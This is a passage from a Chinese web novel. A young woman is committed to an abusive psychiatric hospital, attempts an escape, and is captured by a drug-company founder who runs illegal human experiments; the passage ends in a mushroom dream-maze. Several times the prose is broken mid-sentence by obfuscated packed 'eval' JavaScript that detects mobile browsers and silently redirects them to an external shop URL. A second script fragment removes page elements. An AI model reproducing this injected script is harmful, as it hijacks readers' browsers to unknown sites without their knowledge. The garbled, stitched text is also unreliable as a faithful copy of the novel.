;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“曹大哥,王家千金具体是什么症状,您说说看呗?”黎嗣试探着问道。 曹铭军有点喝多了,好一会儿才反应过来:“她啊?哎,说是每天困得不行又睡不着,吃药都不顶用,就这么没日没夜地瞪着眼睛,跟熬什么鹰似的,别说她个小姑娘了,铁打的汉子都经不住!” 黎嗣瞬间想到了自己公司里的新产品。 那是一种从吸食了长生烟的人血液里提取出来的药物。 他找到吉荣发的时候,很遗憾地发现自己的三哥竟然也在外面沾染上了长生烟,而且吸得太多,已经彻底丧失神智了。 黎嗣只好将他留在公司的地下实验室里,和那些被拐卖来的普通人关在一起。 新研发出来的“特效药”有很好的亢奋作用,既能治疗神经衰弱,也可以增强身体素质。 美中不足的是,有些人容易过度亢奋,变得有点接近“超雄体综合征”,容易产生攻击性行为以及犯罪倾向。 当然,最重要的一点则是:药不能停。 只要停止服药,那些病人原本的症状就会加倍复发,直到身心衰竭而亡。 黎嗣扶了一下眼镜,以非常温文尔雅的语气,开口说道:“曹大哥,要是你信得过我的话,我倒是知道有一种药,专门针对王小姐的这种病症。” 53. 逃离魔窟 王稻美站在“吉祥农家乐”2号包厢的门口,一颗心沉甸甸的,仿佛胸腔里装的不是血肉,而是被人塞了一块石头。 她下意识咬着指甲,试图平复自己的情绪,但那股“总觉得好像有哪里不太对劲”的感觉却如同藤蔓一般,紧紧缠绕在她脊椎上。 “稻美,你怎么还站在这里?再不进去就要迟到了!第一次见面可不能这么没礼貌。”母亲的声音从身后传来,带着一丝不容置疑的命令语气。 王稻美转过身,看见的是母亲急切而又期待的眼神,心中顿时了然:无论自己多么不情不愿,这场相亲都是无法避免的。 她勉强挤出一个微笑,点了点头,跟在母亲身后,心不在焉地走进了那个2号包厢。 房间内部装饰得古色古香,全套木质的桌椅、墙上挂着的辣椒玉米串等,无不透露出一种过于刻意的乡土气息。 王稻美的目光在四周漫不经心地游移着,只想找找看有没有什么自己感兴趣的东西可以来分散一下注意力。 但母亲说的话很快打断了她的思绪:“那位就是‘岭南酒家’董事长的儿子,韩铭轩。” 王稻美抬起头,看见一个西装革履的男人走进来。他长得高大健壮,还没走到桌边,眼神就上下打量着她,仿佛在评估某件物品的价值。 “韩先生你好,我是王稻美。”她脸上挂起一张礼貌到挑不出半点毛病的假笑,慢吞吞伸出手,尽管内心的白眼早已翻上天。 “王小姐,我听说过你。”韩铭轩握住了她的手,同样虚假的笑容中透出一丝真实的玩味,“你的父亲在粤州商界也是鼎鼎有名的大人物。” 王稻美笑不出来。 她既不想谈论自己的老父亲,更不想参与这场商业联姻的无聊游戏。她兴致缺缺地移开的目光最终落在了桌上一盘色香味俱全的炒菌子上,据说那是诏州的特色菜。 “这蘑菇看起来好像挺好吃的样子。”王稻美试图转移话题。 她拿起筷子,夹起了一块菌肉,没有多想就放进了嘴里—— 刚咽下去,眼前立刻开始胡乱闪光,天空和树木疯狂地从门窗外流淌进来,整个世界骤然扭曲变形。 一股熟悉的寒意让她打了个冷颤。 王稻美感觉自己的心跳像擂鼓一样清晰,有个过分尖锐的声音刺入耳膜: “世界上除了你自己没什么是不能吃的。” 一阵眩晕之后,她的世界淹没于铺天盖地的黑暗。 再次醒来时,王稻美发现自己躺在一张病床上,脑袋痛得像是下一秒就要炸开。 她正想要坐起来,却发现自己的手脚都被束缚带牢牢禁锢着。 一个穿着白大褂的医生走了进来,极其冷漠地瞥了她一眼:“醒了?先做个检查吧。” “这里是,什么地方?”王稻美哑声问道。 “新唐南方精神病院。” 王稻美脑子里顿时一片空白,她能猜到自己应该是旧病复发了。但她怎么也不愿相信,父母会将自己送进这样一个地方。 接下来的住院时间里,王稻美受尽了折磨。 精神病院对她进行了所谓的“电击治疗”,每一次都跟受刑没有任何区别,生不如死,有时甚至还会导致失禁。 无论日晒雨淋,所有病人都要在规定时间内集合,到广场上跑圈,然后站着受训,再继续跑圈,病院的管理者说这是为了让病人们“锻炼身体素质”。 而且在这里,别说吃饭洗澡了,就连上厕所的时间都被限制在三分钟内。 两个护士守在门外,一边说说笑笑一边掐着秒表,时间一到就冲进来把她往外面拽,这种羞辱感让她几乎崩溃。 更让王稻美无法忍受的是,她在厕所里无意中听到了那两个护士的对话。 “哎你听说了没?最近又有个同性恋被送进来‘矫正’了。”其中一人低声说道。 另一人窃笑着回应:“是啊,那女的长得可漂亮了!最近来帮忙‘矫正’的,还有林探长的亲哥哥呢。” 王稻美几乎要怀疑自己的耳朵是因为遭受电击而出了什么毛病。 但她很快想起,确实有不少豪车曾经停在住院部大楼后面的几座小别墅门口,里面也曾经传出一些很古怪的动静。 忽然间,王稻美的胃里一阵又一阵翻涌,终于忍不住扭头扑到马桶上呕吐起来。 回到病房,她躺在那张硬邦邦的病床上,眼睛盯着天花板上的裂缝,心跳随着每一次脚步声的迫近而加速。 对于这里的病人们而言,那些脚步声,往往代表着无尽的痛苦和羞辱。 “2号病人,该吃药了。”护士的声音在门外响起,简直比机器人更加冷漠。 王稻美转过头,强迫自己露出一个虚弱的笑容,接过药片。却在护士转身的瞬间,将药片藏在了舌头底下。 当护士离开后,王稻美迅速将药片吐出,藏在了床板缝隙中。 她不能让这些药物控制自己的思维,必须保持清醒,才能找到逃离这个人间地狱的机会。 夜幕降临,病院的走廊变得异常安静。 王稻美悄悄从床上爬起来,她将脚步放得非常轻,小心翼翼,生怕发出一点声响。 躲入厕所的隔间里,王稻美那颗乱糟糟的脑子终于暂时平静下来,倏地听到了隔壁传来的低声对话。 “我真的受不了了,他们每天都逼着我们做那些恶心的事情。”少女的声音带着哭腔说道。 “嘘,小声点。”另一个声音紧张地安抚着她,“千万别被那些人听到了。” 王稻美的心猛地一跳,她蹑手蹑脚走出去,轻轻地敲了敲隔间的那扇门,低声说:“你们是不是也想逃离这里?” 隔壁的对话戛然而止。 一阵沉默之后,少女颤着声问道:“你是谁?” “我是王稻美,也是被莫名其妙塞进来的病人。”王稻美停顿了一下,心头的茫然在那一刻忽然烟消云散。 “我知道,你们比我受了更多的苦,但我和你们一样,也非常想要逃出这个鬼地方。” 隔间的门缓缓打开,一个瘦弱的女孩出现在王稻美的视线中。那双美丽的大眼睛里充满了恐惧和不安,手中却紧握着一把小小的螺丝刀。 “我叫吉兰馨,这是跟我同个病房的宝莲姐。”女孩怯怯说道,她身边还站着一名年纪大约四十多岁的妇女,同样惶然地看着王稻美。 王稻美点了点头,牵住她们冰凉的手,将掌心为数不多的温暖传递过去。 “咱们得找到安保系统的弱点,这样才能趁机逃出去。” 兰馨和宝莲对视一眼,心知这可能是她们唯一的机会。 “病院的供电系统在晚上十点后会进行例行检查,照明也会暂时中断。” “而且,北边的围墙有一个缺口,虽然补上了铁丝网,但我们可以想办法撬开它。” “好,那我们就在下周三的晚上行动。”王稻美敲定了最终计划,“那时候是满月,月光会照亮我们的自救之路。” 三人的手紧紧握在一起,她们隐隐感觉到,这次逃亡,或许会演变成一场生死较量。 熬过接下来四天的漫长时光,到了约定好的那一夜,果然月光如银。 王稻美、兰馨和宝莲三人蜷缩在厕所的最后一个隔间里,心脏在胸腔中激烈地跳动着,仿佛也要挣脱束缚,冲向自由。 “你们准备好了吗?”王稻美坚定的目光在兰馨和宝莲的脸上一一扫过。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020247|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 兰馨握着那把小小的螺丝刀,她的手指因为紧张而不停颤抖,眼中则闪烁着微弱而决绝的光芒。 “准备好了,我们一定要逃出去!” 宝莲深吸了一口气,脸上的惶然并未减少,声音却异常平静:“我不想剩下的大半辈子都关在这里,被人当成玩物,我们一定会成功的。” 王稻美点了点头,从口袋里掏出了一张简陋的地图,上面标记着她们的逃跑路线: “到了十点,供电就会暂停,监控也不再全面覆盖,那就是我们行动的最佳时机。” 随着时间一秒一秒临近,三人的紧张感达到了顶点。王稻美的耳朵紧贴着隔间的门,聆听着外面的动静。 当照明系统全部关闭的那一刻,她们的心脏几乎要跳出喉咙口。 “就是现在!”王稻美轻声说道,她推开了隔间的门,率先走了出去。 月色透过窗户,照亮了阴暗的楼道,她们小心翼翼地穿过走廊,每一步都像是走在刀尖上,生怕发出一点声响。 离开住院部,她们悄悄贴着墙壁阴影,向病院的北墙移动。 明亮的月光照耀之下,北墙的缺口显得更加明显。吉兰馨拿出自己那把小螺丝刀,迅速撬动那块铁丝网。 这时,一阵急促的警报声骤然响起。 王稻美的心脏猛地一跳:不好,她们被发现了! “快,我们没有多少时间了!” 铁丝网终于被撬开了一个足够大的缺口,三人迅速钻了出去。 她们的脚才刚刚落地,就听到了身后传来的喊声:“保安在哪里?都赶紧过来,有病人逃跑了!” 王稻美回头望去,几个保安正从住院部大楼那边冲过来。 “快跑!”她大喊一声,三人拔腿朝着前方的树林狂奔而去。 那轮圆月静静悬在夜空中,她们的身影在树林间快速穿梭,呼吸急促到近乎混乱。几人心中只有一个念头: 逃离这个地狱,无论付出什么代价。 就在三人即将冲出树林时,一道强光手电筒的刺眼光芒突然照在了她们的身上—— “站住!”保安队长带着浑浊口音的叫喊穿过夜色,像一张无形的网兜头罩来。 “居然还想着逃跑,你们可真是病得不轻!” 王稻美停下了脚步,她攥紧拳头,倏地转过身,对着追过来的病院保安们大吼道:“我们只是想活下去!有病的人明明就是你们!” 保安们被她吼得下意识倒退了两步,强光手电筒的光芒在王稻美的脸上晃动,几道强烈光线刺得她忍不住泪流满面。 “都愣着干什么!还不赶紧把人抓回去!”保安队长匆匆赶上来,那种不耐烦的语气像是在让人把跑丢的牲畜们赶回笼子里。 “我不会回去的。” 王稻美站在原地,脸上带着泪痕,却露出了一个洒脱到近乎混不吝的笑容。 “今天要么我死,要么你们死。反正不管怎样,我一定要让兰馨和宝莲姐成功逃出这个魔窟。” “我说王小姐,就算你能把她们送出去,可你能保证她们的家里人不会再把人送回来吗?” 保安队长嗤笑了一声,俨然是在讥讽她们的不自量力。 “你什么意思?”王稻美脑子里“嗡”的一声,一时间似乎听不到自己的声音。 保安队长一脸轻蔑地看向那些女人:“她们呆在这里,每个月不但不用缴费,家里说不定还能多一笔收入呢。” “收入?什么收入?” 吉兰馨不知何时也停下了脚步,此刻正愣愣站在那里,感觉自己根本听不懂那个男人在说什么。 “那当然是把你们卖出去的钱啊。”另一个保安哈哈大笑着说道。 54. 人体实验 王稻美被父母接回了家里,可她不知道,自己最终还是无法救出吉兰馨和宝莲姐。 就像保安们所说的一样,她们才刚回到家就被重新送回新唐南方精神病院。 尤其是兰馨,她还心存一丝侥幸,因为父母和哥哥、嫂子全家一起去市郊露营了,她就在家先把饭做好,才告诉他们自己已经回到家。 她哥在通讯里面的语气还很高兴,说自己女儿很久没见到小姑姑了,很想她。 等到下午,兰馨笑盈盈打开门。 门外站着她的家人们,还有几个新唐南方精神病院专门雇佣的“护送人员”。 兰馨脸上的笑容顿时僵住。 他们全都面无表情地看着她,就像在看一个不懂事的小孩子。吉兰馨下意识倒退了两步,一阵怪异的恶寒缓慢爬上脊背。 “阿姆?”她茫然地望向那个曾经诞育了自己的人,不明白为什么就连阿姆也要一而再、再而三地抛弃自己。 从襁褓时,吉兰馨就被放在老家,由亲戚抚养。而哥哥就可以跟着父母长大,在诏州上学,还被学校选为田径运动员。 吉兰馨等到年龄很大了,才开始在老家读小学,几乎每天放学都要被村口那条凶恶的流浪狗一路追赶,她每次都是哭着跑到吉三嫂家,膝盖常常摔破皮。 好不容易,终于等到父母愿意把她也接去诏州了。 他们到老家的那天着急忙慌的,吉兰馨连行李也来不及收拾就被他们带走。 到了诏州才知道,原来她哥的女朋友已经怀孕了,说十有八九会生个男孩。 吉兰馨的父母高兴不到半天,就听儿子支支吾吾说,女朋友唯一的弟弟重度智障,现在长大了生活也无法治理,所以她父母一口咬定要三十万现金,以后才能给她弟讨媳妇。 好消息顿时变成了坏消息:别说三十万了,就连三万的现金,吉兰馨的父母也拿不出来。结果“亲家”那边一听,立刻沉了脸要把女儿拖去打胎。 吉兰馨她爸慌了神,忽然想起自己老家还有个小女儿。 ——现金是没有,现成的“媳妇”这不就有了嘛! 正好亲上加亲,两全其美! 吉兰馨到了诏州依然被蒙在鼓里,一直到半个月后,她哥娶嫂子那天,她还很开心,觉得家里人能接她来参加哥哥婚礼,果然心里还是有念着她。 她跟着她哥一起去接新娘,回程时,车队里却没有安排她的位置。 “兰馨啊,你先在嫂子家过个夜,我们明天再来接你。” 阿姆脸上的笑容很勉强,想了想又补充了一句:“这是诏州这边送嫁的习俗,你要听话哈!” 十六岁的兰馨虽然觉得有点疑惑,但她转念一想:这是我自己的父母,他们再怎么着也不可能会害自己亲生的孩子。 吉兰馨忐忑不安地住下了。 夜里关了灯后,嫂子那个比她整整大了五岁,智商却只相当于五岁孩童的弟弟摸进了她的房间。 兰馨尖叫着把人打了个头破血流。 她阿伯和阿姆都上门来劝说,让她“认命”。 吉兰馨起先还哭着求他们带自己回家,再是求他们送自己回老家。最后,她披头散发瞪着一双满是血丝的眼睛,定定看着他们,打碎了一个瓷碗要用碎瓷片自杀。 再后来,她就被送进了新唐南方精神病院。入院时,满手都是碎瓷片割伤时流的血。 … 自从和吉兰馨她们分开之后,王稻美的情绪一直都很低落,整个人也每天昏昏沉沉,对什么事情都提不起劲来。 尤其是不想跟父母说话。 每天一听到他们开口,王稻美心里就止不住地翻涌起一阵强烈的厌烦感,像是有苍蝇在自己耳边嗡嗡乱叫。 其实她也知道,正是自己阴差阳错被送进了叫天天不灵叫地地不应的新唐南方精神病院,所以才会和父母之间有了无法抹灭的隔阂。 王大山夫妇其实也悔不当初,一叠声地大骂是那些心怀不轨的人要离间他们一家人的感情。 过了几天,王稻美跟着她爸去学校办理了休学手续。 到家之后才知道,有人登门拜访。 “黎先生,请坐吧。”王大山似乎对这位不速之客并不感到意外,他点了点头,示意管家领进来的那名男子坐下,“女儿,这位是慧伽药业的创始人,对神经衰弱这方面也很有研究。你们聊聊,我先去公司里转转。” 王大山走后,黎嗣很快将目光转向了王稻美,镜片后的眼神中带着一丝审视:“王小姐,我听说了你在新唐南方精神病院的经历,我对此深表同情。” 他怎么会知道这件事情? 王稻美的心猛地一跳,强迫自己保持镇定,点了点头:“谢谢,不过我现在不想谈论这个话题。” 那人微微一笑,从口袋里掏出了一张照片,递给了王稻美: “但我认为,你可能会对这张照片感兴趣。” 王稻美接过照片,她的瞳孔猛地收缩。 照片上是一群穿着白大褂的人,他们正围着一张手术台,而手术台上躺着的,正是吉兰馨。 “这是……什么?”王稻美的双手颤抖着,声音也破碎得连自己都几乎听不清。 “人体实验。” 黎嗣脸上的笑意收敛了几分,眼底依稀闪过一丝意料之中。 “新唐南方精神病院里面,暗中进行的一系列秘密手术。他们利用这些已经被家人遗弃的病人,来进行非法的药物实验。” 王稻美的手指紧紧捏着照片,另一只手的指甲深深嵌入掌心的肉里面,她却仿佛毫无知觉。 照片中的吉兰馨双眼紧闭,比之前更加瘦弱不堪,几乎瘦到了皮包骨的程度,整个人看起来不像十六岁的少女,更像是个不幸遭遇了饥荒的幼小女童。 “我要救她。”王稻美抬起头,咬着牙,死死忍住眼中滚烫的泪意,“无论如何,我一定要把她救出来。” 黎嗣眼含赞赏地点了点头,他从口袋里掏出了一张名片,递给了王稻美:“这是我的联系方式,如有需要,随时可以找我。” 王稻美接过名片,手指轻轻抚摸着名片的边缘,那是一张质地优良的银灰色卡片。 可上面除了名字和一个通讯号码,再无其他信息。 这个男人身上,藏着太多的秘密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037600|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “稻美,你怎么了?”母亲的声音在身后响起,打断了她的沉思。 王稻美转过身,迎着母亲关切的眼神,她犹豫了一下,最终还是决定说出自己的决定:“妈妈,我决定和黎先生合作,揭露新唐南方精神病院的罪行。” 母亲的眉头微微皱起,眼里充满担忧:“这事太危险了,你刚从病院里回来,还是再好好休息一段时间吧?” “妈妈,我忘不了那里发生的一切。”王稻美摇了摇头,神情坚定得近乎执拗,“还有很多人需要帮助,我不能让他们白白受苦。” 母亲沉默了很久。最后,她叹了口气,轻轻搂住王稻美的肩膀:“答应我,你一定要小心行事,不管怎样,最重要的是保护好自己。” 王稻美点了点头,没再多说什么。 第二天,她拨通了黎嗣的通讯号码。通讯另一头传来他隐约带笑的声音:“王小姐,你考虑好了?” “对。”王稻美坚定答道。 “很好,我会给你一个地址,我们在那里见面。” 按照黎嗣给的地址,王稻美来到了一片偏僻的厂房。大门紧闭,四周杂草丛生,显得有些荒凉。 她深吸一口气,推开了大门。 厂房内部空旷而昏暗,只有屋顶一盏强光灯照亮了中央的一张桌子。 黎嗣坐在桌子后面,面前摆着一台笔记本电脑,屏幕上显示着一些复杂的数据和图表。 “王小姐,你来了。”黎嗣的声音在空旷厂房中回荡,带着轻微回音。 王稻美点了点头,此刻却不知道为什么,骤然间有点恍惚: 王小姐? 怎么感觉……好像以前很少听到别人这样称呼自己? 她用力捏了一下手指,拉回思绪,走到那张桌子旁边,目光落在了屏幕上:“这是什么?” “新唐南方精神病院的一些内部资料,包括他们的财务报表、病人名单和一些实验记录。”黎嗣面上依旧挂着微笑。 王稻美只瞥了他一眼就移开视线,看久了总觉得他的笑容刻意到有几分虚假。 “有了这些资料,就可以证明新唐南方精神病院管理人员的一部分非法活动,但想要彻底扳倒这些人,那我们还需要更多的证据。” 晚秋时分,夜幕低垂,如一片巨大的黑布覆盖了整个天空,只有几颗星星在天边若隐若现,像是在暗中窥探着人世间的肮脏秘密。 王稻美和黎嗣驾车穿过蜿蜒的山路,悄悄抵达新唐南方精神病院后方的山谷。 此行的目标是隐藏在山腹中的一个秘密实验室。 根据黎嗣收集的情报,这里就是新唐南方精神病院一直暗中进行非法人体实验的地方。 车子在一片密林前停了下来,两人下了车,黎嗣从后备箱中取出了两个背包。 “实验室防备森严,务必要小心。”黎嗣压低了声音,神情变得格外严肃。 月光透过树梢,斑驳而安静地指引着道路。两人穿过密林,一个隐蔽的山洞隐藏在巨大的山石后方。 黎嗣从背包中拿出地图,他指着上面的一个标记:“实验室的入口就在这里。” 55. 见死不救 一切非常顺利。 甚至顺利得像一出早已被安排好的舞台剧。 至少对于黎嗣来说,至今为止都没有任何意外打乱他的计划。 山洞里隐藏着的金属大门“唰”一声打开,里面站着一群虎视眈眈的“安保人员”。 王稻美倏地扭过头,还来不及说什么,眼前骤然被黑暗所遮蔽。 那些全副武装的男人将她的双手捆在背后,推推攘攘地把她带进了实验室内部,倒是很快就重新揭开了套在她头上的黑色头罩。 “王小姐,欢迎来到我们慧伽药业的总部。” 黎嗣——或者说吉荣利的语气中带着一丝得意,鼻梁上的镜片光芒闪烁。 王稻美眨了眨眼睛,重新适应着光明对视网膜的刺激,有意压低的声音听起来依然保持着镇定自若:“你想要什么?” 吉荣利终于露出一抹真诚的微笑:“我想要的很简单,其实也就是收购你们天峰集团而已。” “真没想到哈,一条蛇居然也妄想吞掉一头大象。”王稻美脸上也露出微笑,随后只冷冷吐出三个字: “你休想。” 吉荣利冷笑一声,眼神中充斥着明晃晃的威胁:“王小姐,你应该知道,你现在没有选择的余地。” 他没再多说什么,直接下令把王稻美关进了一个空荡荡的房间里,没收了她的所有通讯工具。 王稻美当然不甘坐以待毙,她立刻在房间里四处摸索起来,试图找到一丝逃脱的机会。 门外却传来一阵对话声。 “老板,按照您的安排,已经将匿名信送到王大山夫妇手里了。”一个陌生男人的声音在门外响起。 王稻美立刻扑过去疯狂拍打着房门,声音嘶哑,带着一丝颤抖:“你们这些混蛋,到底做了什么?” 门外的人没有回答,只有一阵猖狂的笑声在逐渐飘远。 不知过了多久,王稻美蜷缩在冰冷的地板上,门外昏暗的灯光在墙壁投下斑驳的阴影,像是一张张扭曲的面孔,无声地嘲笑着她。 “你还好吧?”一个微弱的声音在黑暗中响起,打破了房间里的一片死寂。 王稻美转过头,声音源于房间的另一个角落。她仔细辨认后才看出来,那里坐着一个女子,似乎刚从昏迷中醒过来。 刚才,有人昏倒在那里吗? 王稻美一时不太确定,目光警惕地锁定着她。 “你是谁?” 那女子声音听起来很虚弱:“我叫慧伽,也是被吉荣利抓来的。” 王稻美做了个深呼吸,尽可能让自己的声音保持平静:“你是怎么被抓来的?” “我,我不太记得了。”慧伽沉默了很久,“我本来是从老家出来找我的丈夫,但是还……” 她的话还没说完,房门突然被打开,吉荣利的手下蜂拥而入,将她们两个一起带了出去。 王稻美和慧伽都被带到了吉荣利的面前。 “王小姐,又认识了新朋友啊?”那个混蛋笑眯眯地打开墙壁上的投影,播放了一个新闻片段。 “你的父母收到匿名信后狗急跳墙,刚才已经对外宣布他们女儿在新唐南方精神病院里面病逝了。” 镜头中,王大山夫妇面对着新闻记者的追问,悲痛之余却又隐含着一丝深切的厌恶。 “原来在他们这些大人物的眼里,女儿还是没有面子重要啊。” 王稻美一句话也不说,她盯着新闻投影,双唇紧抿成一条发白的线。 慧伽脸上露出了一抹充满嘲讽的笑意:“吉荣利,像你这样恶贯满盈的人,不会有好下场的。” 吉荣利冷笑一声,神情已可以称之为疯狂:“那你们应该也知道,像我这样恶贯满盈的人,什么都做得出来!” 他突然站起身,走向了王稻美,抬手紧紧掐住了她的脖子:“王小姐,现在看来你对我好像也没什么作用了?” “对啊,那你干脆杀了我算了。”她的语气甚至有点随意,但说完之后很快又有点不自然地眨了眨眼。 吉荣利没有注意到她的小动作,听了她那句话后,他的脸色变得异常难看,掐着王稻美的那只手却很快就松开。 “好!既然你这么不识抬举,”他突然转向了慧伽,“那我就先拿她开刀。” 慧伽的脸色变得苍白,她下意识摇着头,眼里迅速漫起了恐惧的泪光:“不,求求你,不要伤害我!” “求我是没用的,”吉荣利冷笑着抓住慧伽的手,将她按倒在王稻美旁边的沙发上,“王小姐,你真的要见死不救吗?” 王稻美坐在原地一动不动,好像整个人已经完全呆住了。 吉荣利下意识看了慧伽一眼,后者忽然推开他,猛地扑向了面前尖锐的玻璃桌角。 这时候,王稻美才一副刚刚回过神的样子,立即上前将慧伽推开。 “王稻美,你的父母已经放弃你了,你在这世上还有什么依靠?”吉荣利站起身,居高临下地看着她们,声音冰冷。 刀妹仰着脸,颇有兴致地瞅着他鼻梁上那副有点歪斜的眼镜,最后忍不住“扑哧”一声笑了出来。 吉荣利冷着脸打了个手势,他的手下们迅速过来,抓住了王稻美,用一个注射器将某些药物打进她体内。 王稻美“嘶”地倒吸了一口冷气,一阵刺痛窜上后颈,眼前的一切都变得模糊起来。 她再次醒来时,发现自己这次似乎被关在一个完全漆黑的房间里,四周什么也看不见,一片死寂。 不,不止眼前一片漆黑,耳朵也听不到任何声音。她发现自己失去了视觉和听觉,无论双手怎么摸索,都只能感受到墙壁的冰冷。 “别白费力气了,你逃不掉的。”吉荣利的声音在黑暗中响起。 大约是从那一日开始,每天他都会让人喂王稻美吃一种药,她只能以此来判断昼夜的更替。 王稻美不知道那是什么药,但她能感觉到自己的身体在逐渐恢复。 “你们……为什么要这么做?” 吉荣利沉声答道:“我要让你活着,看着你的世界一点点崩塌。” “别害怕,稻美。”慧伽温和的声音也在她耳边响起,“我会一直陪着你,直到你重见光明。” 浑浑噩噩中,王稻美慢慢感受到一种奇异的呼唤。 那似乎是一种来自内心深处的呼唤,仿佛有一个声音在告诉她,她的命运绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044920|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会止步于此。 “你是谁?”王稻美悄悄问道。 “我是诸禅。”那个声音回答,语气很温柔,“你愿意跟我走吗?我将带你进入一个全新的世界。” 诸禅的声音充满了诱惑。 “我愿意。”王稻美在心中默默回答。 随着那三个字逐一说出,她能感觉到自己的身体迅速变得轻盈。 灵魂仿佛离开了□□,进入了一个新的世界—— 一个到处都长着蘑菇的迷宫。 “欢迎来到孢子迷宫,王稻美。”诸禅的声音在迷宫中回荡。 王稻美睁开眼,所见的是一条由奇异蘑菇构成的通道,这些巨型菌子发出淡淡的荧光,照亮了她前方的道路,而空气中弥漫着泥土和菌类的混合气息,闻起来竟是非常清新。 “别害怕,稻美。”诸禅的声音在她耳边响起,“这里是你内心的力量所创造的世界,只有你才能找到出路。” 王稻美点点头,走进迷宫。 脚下的泥土柔软而湿润,如同冰雪的质地,每一次踩踏都会发出轻微的“吱吱”声。 迷宫里的蘑菇们可谓形态各异,有的像是撑开的伞,有的像是扭曲的塔,还有的像是盘旋的蛇。 颜色也是五花八门,从灿烂的黄到幽暗的紫,再到深邃的蓝,每一种颜色都似乎隐藏着不同的秘密。 王稻美伸出手,轻轻触摸了一朵蘑菇。 指尖传来一阵微凉的触感,这朵蘑菇的表面滑腻如丝绒,它在她的触摸下微微颤抖,仿佛对她的触摸做出了欣喜的反应。 “这些蘑菇,它们是活的吗?”王稻美在心里问道。 “在这个副本世界里,一切都是活的,一切都是有意识的。”诸禅的语调优雅中带着一丝神秘,“它们能感知你的存在,你也能感知它们。” 每一朵蘑菇都有自己独特的纹理和色彩,它们仿佛是这个迷宫中的守护者,静静地观察着她的一举一动。 王稻美继续前行,迷宫中的通道逐渐变得复杂起来。 有些时候,她不得不在几个看起来一模一样的通道中做出选择。 随着时间的流逝,王稻美开始感到疲惫,脚步变得沉重,呼吸也变得急促。 她能感觉到自己的体力在逐渐耗尽,就在王稻美快要支撑不住的时候,她看到了一道光。 那是一道微弱的光,从迷宫的深处透出,像是一盏遥远而温馨的灯火,给迷茫的旅人带来了希望。 “是出口吗?”刀妹用一种非常欣喜的语气喊道,加快了脚步,向着那道光走去。 当她走近时,却发现那并不是出口,而是另一片由蘑菇构成的空地。 空地中央,有一朵巨大的蘑菇,它形状酷似一棵老榕树,颜色绿如翡翠,散发着柔和的光芒。 一个个大小不同的圆形荧光蓝斑点逐渐显现在树冠般的伞盖上,又很快沉没,像是在不停地“呼吸”。 王稻美走近那朵蘑菇,骤然感觉到一股强大的力量从蘑菇中散发出来。 “这是活力之菇。”诸禅的声音再次响起,充满了鼓舞——或者说蛊惑的意味,“它能赋予你力量,让你在迷宫中继续前行。” 56. 这座城堡 “不用了,我休息一下就好。” 王稻美锤了锤双腿,站起身,准备继续前行。这时,她忽然听到了一阵微弱的声音。那声音像是风中的低语,又像是远处的呼唤。 “有人在吗?”王稻美轻声问道。 她仔细聆听,那声音越来越清晰——有人在呼唤她的名字。 王稻美追着那道微弱的声音,穿过了一片又一片蘑菇构成的区域。 迷宫的通道变得更加曲折,每一个转角都像是隐藏着未知的秘密。 她听到远处水滴落下的声音,感受到空气中微妙的流动,甚至能嗅到泥土中淡淡的湿气。 这些细节构成了一个立体的世界,让王稻美感觉自己似乎真的置身于一个真实的迷宫之中。 “我们在这里等待了无数年,等待着那个能够听到我们呼唤的人。”一个声音从迷宫的深处响起,古老而沙哑,仿佛来自遥远的过去。 王稻美抻着脖子环顾四周,却看不到任何人影。 “你们在哪里?我怎么看不见?”她问道。 “我们在迷宫的每一个角落。”那个声音回答,“我们由孢子迷宫的力量所构成,生来就是为了守护这里的秘密。” 刀妹“哈啾”一声打了个喷嚏,抬手揉了揉鼻子,又问:“那你们想要什么?” “我们希望你能通过试炼。只有通过了试炼,你才能找到离开孢子迷宫的方法。” 王稻美叹了一口气,知道自己又没得选择了。 “那来吧。”她无奈说道。 “好的,试炼开始。”那个声音宣布,迷宫四周突然爆发出耀眼的光芒—— 阳光从树梢间洒落,形成斑驳的光影,如同梦境与现实的交错。 王稻美缓缓睁开眼睛,她的视野逐渐变得清晰,眼前出现的是一片无边无际的花海。 在阳光的照耀下,那些花朵的颜色更加鲜艳,她甚至能看到花瓣上的露珠闪烁着七彩的光芒。 她伸出手,轻轻触摸着那些花瓣,感受着它们的温度和质地。每一朵花都像是有生命一般,对她的触摸做出反应,轻轻摇曳,仿佛在欢迎她的到来。 这些花朵的排列并非随机,它们构成了一幅幅复杂的图案,像是某种古老的语言。 